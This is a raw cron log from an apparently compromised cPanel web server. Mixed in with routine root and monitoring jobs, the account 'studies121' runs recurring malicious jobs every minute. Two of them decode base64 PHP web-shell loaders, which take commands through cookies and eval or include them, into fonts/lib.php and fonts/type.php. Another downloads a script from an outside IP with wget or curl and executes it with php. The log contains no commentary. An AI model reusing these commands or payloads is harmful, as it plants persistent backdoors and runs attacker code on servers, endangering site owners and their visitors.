Aug 30 04:51:01 ip-184-168-122-23 CROND[14267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:51:01 ip-184-168-122-23 CROND[14266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:51:01 ip-184-168-122-23 CROND[14269]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:52:01 ip-184-168-122-23 CROND[14457]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:52:01 ip-184-168-122-23 CROND[14458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:52:01 ip-184-168-122-23 CROND[14462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:52:01 ip-184-168-122-23 CROND[14461]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:52:01 ip-184-168-122-23 CROND[14463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:53:01 ip-184-168-122-23 CROND[14944]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:53:01 ip-184-168-122-23 CROND[14946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:53:01 ip-184-168-122-23 CROND[14947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:53:01 ip-184-168-122-23 CROND[14949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:54:01 ip-184-168-122-23 CROND[15172]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:54:01 ip-184-168-122-23 CROND[15175]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:54:01 ip-184-168-122-23 CROND[15176]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:54:01 ip-184-168-122-23 CROND[15174]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:54:01 ip-184-168-122-23 CROND[15177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:55:02 ip-184-168-122-23 CROND[15356]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:55:02 ip-184-168-122-23 CROND[15358]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:55:02 ip-184-168-122-23 CROND[15359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:55:02 ip-184-168-122-23 CROND[15360]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:55:02 ip-184-168-122-23 CROND[15361]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 04:55:02 ip-184-168-122-23 CROND[15362]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 04:56:01 ip-184-168-122-23 CROND[15505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:56:01 ip-184-168-122-23 CROND[15508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:56:01 ip-184-168-122-23 CROND[15509]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:56:01 ip-184-168-122-23 CROND[15511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:56:01 ip-184-168-122-23 CROND[15507]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:57:01 ip-184-168-122-23 CROND[15631]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Aug 30 04:57:01 ip-184-168-122-23 CROND[15635]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:57:01 ip-184-168-122-23 CROND[15634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:57:01 ip-184-168-122-23 CROND[15637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:57:01 ip-184-168-122-23 CROND[15638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:57:51 ip-184-168-122-23 crontab[15805]: (root) LIST (root)
Aug 30 04:57:51 ip-184-168-122-23 crontab[15807]: (root) LIST (root)
Aug 30 04:57:58 ip-184-168-122-23 crontab[15894]: (root) LIST (root)
Aug 30 04:58:01 ip-184-168-122-23 crond[671]: (*system*) RELOAD (/etc/cron.d/cpanel_ssl_reissue)
Aug 30 04:58:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Aug 30 04:58:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
Aug 30 04:58:01 ip-184-168-122-23 CROND[15956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:58:01 ip-184-168-122-23 CROND[15957]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 04:58:01 ip-184-168-122-23 CROND[15958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:58:01 ip-184-168-122-23 CROND[15959]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 04:58:01 ip-184-168-122-23 CROND[15960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:59:01 ip-184-168-122-23 CROND[16587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 04:59:01 ip-184-168-122-23 CROND[16589]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 04:59:01 ip-184-168-122-23 CROND[16590]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 04:59:01 ip-184-168-122-23 CROND[16591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:00:01 ip-184-168-122-23 CROND[16785]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:00:01 ip-184-168-122-23 CROND[16787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:00:01 ip-184-168-122-23 CROND[16790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:00:01 ip-184-168-122-23 CROND[16791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:00:01 ip-184-168-122-23 CROND[16792]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 30 05:00:01 ip-184-168-122-23 CROND[16795]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 30 05:00:01 ip-184-168-122-23 CROND[16798]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 30 05:00:01 ip-184-168-122-23 CROND[16796]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:01:01 ip-184-168-122-23 CROND[16977]: (root) CMD (run-parts /etc/cron.hourly)
Aug 30 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16977]: starting 0anacron
Aug 30 05:01:01 ip-184-168-122-23 CROND[16983]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:01:01 ip-184-168-122-23 CROND[16985]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 30 05:01:01 ip-184-168-122-23 CROND[16986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:01:01 ip-184-168-122-23 CROND[16987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:01:01 ip-184-168-122-23 CROND[16984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[16996]: finished 0anacron
Aug 30 05:02:02 ip-184-168-122-23 CROND[17095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 30 05:02:02 ip-184-168-122-23 CROND[17097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 30 05:02:02 ip-184-168-122-23 CROND[17099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 30 05:02:02 ip-184-168-122-23 CROND[17098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 30 05:02:02 ip-184-168-122-23 CROND[17100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 30 05:03:01 ip-184-168-122-23 CROND[17188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
